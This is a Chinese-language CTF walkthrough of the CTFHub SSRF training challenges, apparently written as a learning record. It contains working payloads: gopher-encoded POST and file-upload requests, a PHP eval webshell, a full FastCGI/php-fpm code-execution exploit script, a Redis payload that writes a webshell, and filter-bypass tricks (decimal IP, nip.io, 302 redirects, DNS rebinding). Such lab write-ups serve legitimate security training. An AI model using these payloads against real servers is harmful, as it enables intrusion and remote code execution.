CTFHub-技能树-SSRF

SSRF

目录

• SSRF
  • 1.内网访问
  • 2.伪协议读取文件
  • 3.端口扫描
  • 4.POST请求
  • 5.上传文件
  • 6.FastCGI协议
  • 7.Redis
  • 8.URL Bypass
  • 9.数字IP Bypass
  • 10.302跳转 Bypass
  • 11.DNS重绑定 Bypass

1.内网访问

• 题目描述

  尝试访问位于127.0.0.1的flag.php吧

• 解题过程

  打开题目，url为http://challenge-54ab013865ee24e6.sandbox.ctfhub.com:10080/?url=_

  推测可以通过参数url访问内网

  直接访问?url=http://127.0.0.1/flag.php即可

2.伪协议读取文件

• 题目描述

  尝试去读取一下Web目录下的flag.php吧

• 解题过程

  url为http://challenge-cc86fd87db00a898.sandbox.ctfhub.com:10080/?url=_

  直接访问?url=http://127.0.0.1/flag.php，没有flag，根据题目描述，应该在源码中，改用ssrf的伪协议读取

  ?url=file:///var/www/html/flag.php即可

3.端口扫描

• 题目描述

  来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦

• 解题过程

  访问?url=http://127.0.0.1:8000，burp抓包，intruder端口爆破

  

4.POST请求

• 题目描述

  这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.我准备了一个302.php,可能对你有用哦

• 解题过程

  访问?url=http://127.0.0.1/302.php

  <?php
  if(isset($_GET['url'])){
      header("Location: {$_GET['url']}");
      exit;
  }
  
  highlight_file(__FILE__);
  

  访问?url=file:///var/www/html/index.php

  <?php
  
  error_reporting(0);
  
  header("Help: here is 302.php");
  
  if (!isset($_REQUEST['url'])){
      header("Location: /?url=_");
      exit;
  }
  
  $ch = curl_init();
  curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
  curl_setopt($ch, CURLOPT_HEADER, 0);
  curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  curl_exec($ch);
  curl_close($ch);
  >
  

  访问?url=file:///var/www/html/flag.php

  <?php
  
  error_reporting(0);
  
  if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
      echo "Just View From 127.0.0.1";
      return;
  }
  
  $flag=getenv("CTFHUB");
  $key = md5($flag);
  
  if(isset($_POST["key"]) && $_POST["key"] == $key){
      echo $flag;
      exit;
  }
  ?>
  

  访问?url=http://127.0.0.1/flag.php

  <form action="/flag.php" method="post">
  <input type="text" name="key">
  <!-- Debug: key=5e37e6b3f645b286834aabb8a49dac71-->
  </form>
  

  现在拿到了key，只需要构造POST请求，把key提交给flag.php页面即可

  （这个过程自己把自己坑了一把）

  ssrf中可以使用gopher协议来构造post请求，具体格式：

  gopher://ip:port/_METHOD /file HTTP/1.1 http-header&body

  构造请求包：

  ！注意Content-Length和Content-Type，可以直接访问页面提交数据，用burp抓包再修改Host

  POST /flag.php HTTP/1.1
  Host: 127.0.0.1
  User-Agent: curl
  Accept: */*
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 36
  
  key=5e37e6b3f645b286834aabb8a49dac71
  

  HTTP版本之前编码一次，之后部分URL编码 两次：

  ！注意，换行符是%0d%0a

  POST%20/flag.php%20HTTP/1.1%250d%250aHost%3A%20127.0.0.1%250d%250aUser-Agent%3A%20curl%250d%250aAccept%3A%20%2A/%2A%250d%250aContent-Type%3A%20application/x-www-form-urlencoded%250d%250aContent-Length%3A%2036%250d%250a%250d%250akey%3D5e37e6b3f645b286834aabb8a49dac71
  

  拼接payload：

  ?url=gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%250d%250aHost%3A%20127.0.0.1%250d%250aUser-Agent%3A%20curl%250d%250aAccept%3A%20%2A/%2A%250d%250aContent-Type%3A%20application/x-www-form-urlencoded%250d%250aContent-Length%3A%2036%250d%250a%250d%250akey%3D5e37e6b3f645b286834aabb8a49dac71
  

  题目给了提示，curl会跟踪302跳转，这个点主要用于参数长度或内容有限制的时候，可以通过302跳转来实现ssrf。例如，限制了url长度，那么可以在自己的vps或者靶机上，上传构造好的（Location: gopher://xxxxxxxx）跳转页面，然后直接访问跳转页面，即可实现ssrf。

5.上传文件

• 题目描述

  这次需要上传一个文件到flag.php了.我准备了个302.php可能会有用.祝你好运

• 解题过程

  访问?url=file:///var/www/html/flag.php查看flag代码

  <?php
  
  error_reporting(0);
  
  if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
      echo "Just View From 127.0.0.1";
      return;
  }
  
  if(isset($_FILES["file"]) && $_FILES["file"]["size"] ){
      echo getenv("CTFHUB");
      exit;
  }
  ?>
  

  自行在form表单中添加提交按钮<input type="submit" value="提交">

  用burp抓包

  

  修改后：

  POST /flag.php HTTP/1.1
  Host: challenge-0787aada7abf3fe4.sandbox.ctfhub.com:10080
  Content-Length: 222
  Cache-Control: max-age=0
  Origin: http://challenge-0787aada7abf3fe4.sandbox.ctfhub.com:10080
  Upgrade-Insecure-Requests: 1
  Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFq9cC6PrPMDmf6JG
  User-Agent: Mozilla/5.0 
  Accept: */*
  Accept-Encoding: gzip, deflate
  Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
  Connection: close
  
  ------WebKitFormBoundaryFq9cC6PrPMDmf6JG
  Content-Disposition: form-data; name="file"; filename="draft.php"
  Content-Type: application/octet-stream
  
  <?php eval($_POST[x]); ?>
  ------WebKitFormBoundaryFq9cC6PrPMDmf6JG--
  

  改为ssrf

  ?url=gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%250D%250AHost%253A%2520challenge-0787aada7abf3fe4.sandbox.ctfhub.com%253A10080%250D%250AContent-Length%253A%2520222%250D%250ACache-Control%253A%2520max-age%253D0%250D%250AOrigin%253A%2520http%253A//challenge-0787aada7abf3fe4.sandbox.ctfhub.com%253A10080%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D----WebKitFormBoundaryFq9cC6PrPMDmf6JG%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%250D%250AAccept%253A%2520%252A/%252A%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.9%252Cen%253Bq%253D0.8%250D%250AConnection%253A%2520close%250D%250A%250D%250A------WebKitFormBoundaryFq9cC6PrPMDmf6JG%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522draft.php%2522%250D%250AContent-Type%253A%2520application/octet-stream%250D%250A%250D%250A%253C%253Fphp%2520eval%2528%2524_POST%255Bx%255D%2529%253B%2520%253F%253E%250D%250A------WebKitFormBoundaryFq9cC6PrPMDmf6JG--
  

  直接访问就给flag了

6.FastCGI协议

• 题目描述

  这次.我们需要攻击一下fastcgi协议咯.也许附件的文章会对你有点帮助

  附件

• 解题过程

  浅略分析

  这道题坑有点多 = =，反复做了好几次才成功 ，主要有几点：

  • 题目附件中的exp是使用fastcgi协议发送报文的，是直接向php-fpm（9000端口）发送的，外网不能访问到该端口，不能直接拿来打题目url

    • 所以要自己手动获取fastcgi发送的报文，然后利用gopher进行内网访问9000端口的fpm

  • 需要使用hex编码来构造payload，而hexdump在x86环境下是小端显示（就是地址位低的字节在前）

  • hex编码后的payload需要转换位url编码，然后再次url编码（一共两次url编码）

  • 步骤（我是在kali虚拟机上完成的）

    • 监听端口（可以不用9000，可以随意更换，但是在下面的exp里也要修改对应端口），使用hexdump的大端显示模式，把结果存到1.txt

      • nc -lvvp 9000 | hexdump -C > 1.txt

    • 执行exp

      • python exp.py -c "<?php var_dump(system('ls /')); ?>" -p 9000 0.0.0.0 /var/www/html/index.php

      • 用法python exp.py -c php代码 -p php-fpm端口 ip 任意php文件的绝对路径

      • 这里我们是要自己向自己的端口访问，来获取请求报文，所以端口可以任意设置

      • exp脚本（p神yyds！）

        • import socket
          import random
          import argparse
          import sys
          from io import BytesIO
          
          # Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
          
          PY2 = True if sys.version_info.major == 2 else False
          
          
          def bchr(i):
              if PY2:
                  return force_bytes(chr(i))
              else:
                  return bytes([i])
          
          def bord(c):
              if isinstance(c, int):
                  return c
              else:
                  return ord(c)
          
          def force_bytes(s):
              if isinstance(s, bytes):
                  return s
              else:
                  return s.encode('utf-8', 'strict')
          
          def force_text(s):
              if issubclass(type(s), str):
                  return s
              if isinstance(s, bytes):
                  s = str(s, 'utf-8', 'strict')
              else:
                  s = str(s)
              return s
          
          
          class FastCGIClient:
              """A Fast-CGI Client for Python"""
          
              # private
              __FCGI_VERSION = 1
          
              __FCGI_ROLE_RESPONDER = 1
              __FCGI_ROLE_AUTHORIZER = 2
              __FCGI_ROLE_FILTER = 3
          
              __FCGI_TYPE_BEGIN = 1
              __FCGI_TYPE_ABORT = 2
              __FCGI_TYPE_END = 3
              __FCGI_TYPE_PARAMS = 4
              __FCGI_TYPE_STDIN = 5
              __FCGI_TYPE_STDOUT = 6
              __FCGI_TYPE_STDERR = 7
              __FCGI_TYPE_DATA = 8
              __FCGI_TYPE_GETVALUES = 9
              __FCGI_TYPE_GETVALUES_RESULT = 10
              __FCGI_TYPE_UNKOWNTYPE = 11
          
              __FCGI_HEADER_SIZE = 8
          
              # request state
              FCGI_STATE_SEND = 1
              FCGI_STATE_ERROR = 2
              FCGI_STATE_SUCCESS = 3
          
              def __init__(self, host, port, timeout, keepalive):
                  self.host = host
                  self.port = port
                  self.timeout = timeout
                  if keepalive:
                      self.keepalive = 1
                  else:
                      self.keepalive = 0
                  self.sock = None
                  self.requests = dict()
          
              def __connect(self):
                  self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                  self.sock.settimeout(self.timeout)
                  self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
                  # if self.keepalive:
                  #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
                  # else:
                  #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
                  try:
                      self.sock.connect((self.host, int(self.port)))
                  except socket.error as msg:
                      self.sock.close()
                      self.sock = None
                      print(repr(msg))
                      return False
                  return True
          
              def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
                  length = len(content)
                  buf = bchr(FastCGIClient.__FCGI_VERSION) \
                         + bchr(fcgi_type) \
                         + bchr((requestid >> 8) & 0xFF) \
                         + bchr(requestid & 0xFF) \
                         + bchr((length >> 8) & 0xFF) \
                         + bchr(length & 0xFF) \
                         + bchr(0) \
                         + bchr(0) \
                         + content
                  return buf
          
              def __encodeNameValueParams(self, name, value):
                  nLen = len(name)
                  vLen = len(value)
                  record = b''
                  if nLen < 128:
                      record += bchr(nLen)
                  else:
                      record += bchr((nLen >> 24) | 0x80) \
                                + bchr((nLen >> 16) & 0xFF) \
                                + bchr((nLen >> 8) & 0xFF) \
                                + bchr(nLen & 0xFF)
                  if vLen < 128:
                      record += bchr(vLen)
                  else:
                      record += bchr((vLen >> 24) | 0x80) \
                                + bchr((vLen >> 16) & 0xFF) \
                                + bchr((vLen >> 8) & 0xFF) \
                                + bchr(vLen & 0xFF)
                  return record + name + value
          
              def __decodeFastCGIHeader(self, stream):
                  header = dict()
                  header['version'] = bord(stream[0])
                  header['type'] = bord(stream[1])
                  header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
                  header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
                  header['paddingLength'] = bord(stream[6])
                  header['reserved'] = bord(stream[7])
                  return header
          
              def __decodeFastCGIRecord(self, buffer):
                  header = buffer.read(int(self.__FCGI_HEADER_SIZE))
          
                  if not header:
                      return False
                  else:
                      record = self.__decodeFastCGIHeader(header)
                      record['content'] = b''
          
                      if 'contentLength' in record.keys():
                          contentLength = int(record['contentLength'])
                          record['content'] += buffer.read(contentLength)
                      if 'paddingLength' in record.keys():
                          skiped = buffer.read(int(record['paddingLength']))
                      return record
          
              def request(self, nameValuePairs={}, post=''):
                  if not self.__connect():
                      print('connect failure! please check your fasctcgi-server !!')
                      return
          
                  requestId = random.randint(1, (1 << 16) - 1)
                  self.requests[requestId] = dict()
                  request = b""
                  beginFCGIRecordContent = bchr(0) \
                                           + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                           + bchr(self.keepalive) \
                                           + bchr(0) * 5
                  request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                                        beginFCGIRecordContent, requestId)
                  paramsRecord = b''
                  if nameValuePairs:
                      for (name, value) in nameValuePairs.items():
                          name = force_bytes(name)
                          value = force_bytes(value)
                          paramsRecord += self.__encodeNameValueParams(name, value)
          
                  if paramsRecord:
                      request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
                  request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
          
                  if post:
                      request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
                  request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
          
                  self.sock.send(request)
                  self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
                  self.requests[requestId]['response'] = b''
                  return self.__waitForResponse(requestId)
          
              def __waitForResponse(self, requestId):
                  data = b''
                  while True:
                      buf = self.sock.recv(512)
                      if not len(buf):
                          break
                      data += buf
          
                  data = BytesIO(data)
                  while True:
                      response = self.__decodeFastCGIRecord(data)
                      if not response:
                          break
                      if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                              or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                          if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                              self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                          if requestId == int(response['requestId']):
                              self.requests[requestId]['response'] += response['content']
                      if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                          self.requests[requestId]
                  return self.requests[requestId]['response']
          
              def __repr__(self):
                  return "fastcgi connect host:{} port:{}".format(self.host, self.port)
          
          
          if __name__ == '__main__':
              parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
              parser.add_argument('host', help='Target host, such as 127.0.0.1')
              parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
              parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
              parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)
          
              args = parser.parse_args()
          
              client = FastCGIClient(args.host, args.port, 3, 0)
              params = dict()
              documentRoot = "/"
              uri = args.file
              content = args.code
              params = {
                  'GATEWAY_INTERFACE': 'FastCGI/1.0',
                  'REQUEST_METHOD': 'POST',
                  'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
                  'SCRIPT_NAME': uri,
                  'QUERY_STRING': '',
                  'REQUEST_URI': uri,
                  'DOCUMENT_ROOT': documentRoot,
                  'SERVER_SOFTWARE': 'php/fcgiclient',
                  'REMOTE_ADDR': '127.0.0.1',
                  'REMOTE_PORT': '9985',
                  'SERVER_ADDR': '127.0.0.1',
                  'SERVER_PORT': '80',
                  'SERVER_NAME': "localhost",
                  'SERVER_PROTOCOL': 'HTTP/1.1',
                  'CONTENT_TYPE': 'application/text',
                  'CONTENT_LENGTH': "%d" % len(content),
                  'PHP_VALUE': 'auto_prepend_file = php://input',
                  'PHP_ADMIN_VALUE': 'allow_url_include = On'
              }
              response = client.request(params, content)
          
          

    • 处理请求报文

      • 我在参考里的脚本上添加了一些处理的代码，来过滤hexdump -C的对照信息，然后转换成url编码格式

      • import urllib
        
        # 打开报文
        file = open("/home/kali/1.txt","r")
        content = file.readlines()
        # 读取报文，去除对照信息
        str_ = ""
        for line in content:
            str_ += line[8:-20]
        # 去除空格和换行符
        str_dealed = str_.replace("\n", "").replace(" ", "")
        # 转换为url编码形式
        payload = ""
        length = len(str_dealed)
        for i in range(0, length, 2):
            temp = "%" + str_dealed[i] + str_dealed[i+1]
            payload += temp
        # 再次url编码
        print(urllib.quote(payload))
        

    • 拼接payload

      • http://challenge-id.sandbox.ctfhub.com:10080/?url=gopher://127.0.0.1:9000/_payload

• 参考

  https://blog.csdn.net/rfrder/article/details/108589988

  https://blog.csdn.net/mysteryflower/article/details/94386461

7.Redis

• 题目描述

  这次来攻击redis协议吧.redis://127.0.0.1:6379,资料?没有资料!自己找!

• 解题过程

  访问?url=file:///var/www/html/index.php

  <?php
  
  error_reporting(0);
  
  if (!isset($_REQUEST['url'])) {
      header("Location: /?url=_");
      exit;
  }
  
  $ch = curl_init();
  curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
  curl_setopt($ch, CURLOPT_HEADER, 0);
  curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  curl_exec($ch);
  curl_close($ch);
  ?>
  

  ​ 这道题和上道题方法类似，都是利用gopher来构造特定协议内容，直接和应用通信，这道题用的是Redis的RESP协议

  ​ 关于RESP和其他详细分析，可以参考这篇文章

  • 利用Redis来写webshell

    redis命令

    flushall
    set 1 '<?php eval($_GET["cmd"]);?>'
    config set dir /var/www/html
    config set dbfilename shell.php
    save
    

  • 利用脚本转换为gopher的payload（出自上面的文章）

    import urllib
    from urllib import parse
    
    protocol = "gopher://"
    ip = "127.0.0.1"
    port = "6379"
    shell = "\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
    filename = "shell.php"
    path = "/var/www/html"
    passwd = ""
    cmd = ["flushall",
           "set 1 {}".format(shell.replace(" ", "${IFS}")),
           "config set dir {}".format(path),
           "config set dbfilename {}".format(filename),
           "save"
           ]
    if passwd:
        cmd.insert(0, "AUTH {}".format(passwd))
    payload_prefix = protocol + ip + ":" + port + "/_"
    CRLF = "\r\n"
    
    
    def redis_format(arr):
        redis_arr = arr.split(" ")
        cmd_ = ""
        cmd_ += "*" + str(len(redis_arr))
        for x_ in redis_arr:
            cmd_ += CRLF + "$" + str(len((x_.replace("${IFS}", " ")))) + CRLF + x_.replace("${IFS}", " ")
        cmd_ += CRLF
        return cmd_
    
    
    if __name__ == "__main__":
        payload = ""
        for x in cmd:
            payload += parse.quote(redis_format(x))  # url编码
        payload = payload_prefix + parse.quote(payload)  # 再次url编码
        print(payload)
    

    添加了一次url编码，来适配GET的两次解码

    得到payload：gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252431%250D%250A%250A%250A%3C%253Fphp%2520eval%2528%2524_GET%255B%22cmd%22%255D%2529%253B%253F%3E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A

    然后访问/shell.php?cmd=php_code;即可

8.URL Bypass

• 题目描述

  url must startwith "http://notfound.ctfhub.com"

• 解题过程

  之前有过xss的bypass经验，知道两个方法：

  • 利用xip.io（可以直接访问该域名，里面有详细说明）

    • 访问www.xxx.com.1.1.1.1.xip.io，会解析为1.1.1.1
    • 尝试发现，xip.io被ban了

  • 尝试nip.io

    • 可以使用
    • payload：?url=http://notfound.ctfhub.com.127.0.0.1.nip.io/flag.php

  • 使用HTTP基础认证

    • payload：?url=http://notfound.ctfhub.com@127.0.0.1/flag.php

9.数字IP Bypass

• 题目描述

  无

• 解题过程

  访问?url=http://127.0.0.1，提示ban掉了127 172 @

  

  只需要把127.0.0.1转换为数字IP，结果为2130706433

  payload：?url=http://2130706433/flag.php

10.302跳转 Bypass

• 题目描述

  无

• 解题过程

  访问?url=http://127.0.0.1，提示禁止访问局域网ip

  

  只需要把跳转的脚本上传到vps上，然后访问vps上的脚本，跳转回去即可

  <?php
  if(isset($_GET['url'])){
      header("Location: {$_GET['url']}");
      exit;
  }
  ?>
  

  ?url=http://IP:PORT/302.php?url=http://127.0.0.1/flag.php

11.DNS重绑定 Bypass

• 题目描述

  无

• 解题过程

  访问?url=http://127.0.0.1，提示禁止访问局域网ip

  题目是DNS重绑定，就去搜了一下相关资料 来源：https://www.freebuf.com/articles/web/135342.html

  对于常见的IP限制，后端服务器可能通过下图的流程进行IP过滤：

  

  对于用户请求的URL参数，首先服务器端会对其进行DNS解析，然后对于DNS服务器返回的IP地址进行判断，如果在黑名单中，就pass掉。

  但是在整个过程中，第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间查，利用这个时间差，我们可以进行DNS 重绑定攻击。

  要完成DNS重绑定攻击，我们需要一个域名，并且将这个域名的解析指定到我们自己的DNS Server，在我们的可控的DNS Server上编写解析服务，设置TTL时间为0。这样就可以进行攻击了，完整的攻击流程为：

  (1)、服务器端获得URL参数，进行第一次DNS解析，获得了一个非内网的IP

  (2)、对于获得的IP进行判断，发现为非黑名单IP，则通过验证

  (3)、服务器端对于URL进行访问，由于DNS服务器设置的TTL为0，所以再次进行DNS解析，这一次DNS服务器返回的是内网地址。

  (4)、由于已经绕过验证，所以服务器端返回访问内网资源的结果。

  推荐一个很详细的资料：关于DNS-rebinding的总结

  需要有域名和vps，然后根据总结里的方法，就可以完成

  （我暂时没有能用的域名，挖个坑，以后来填）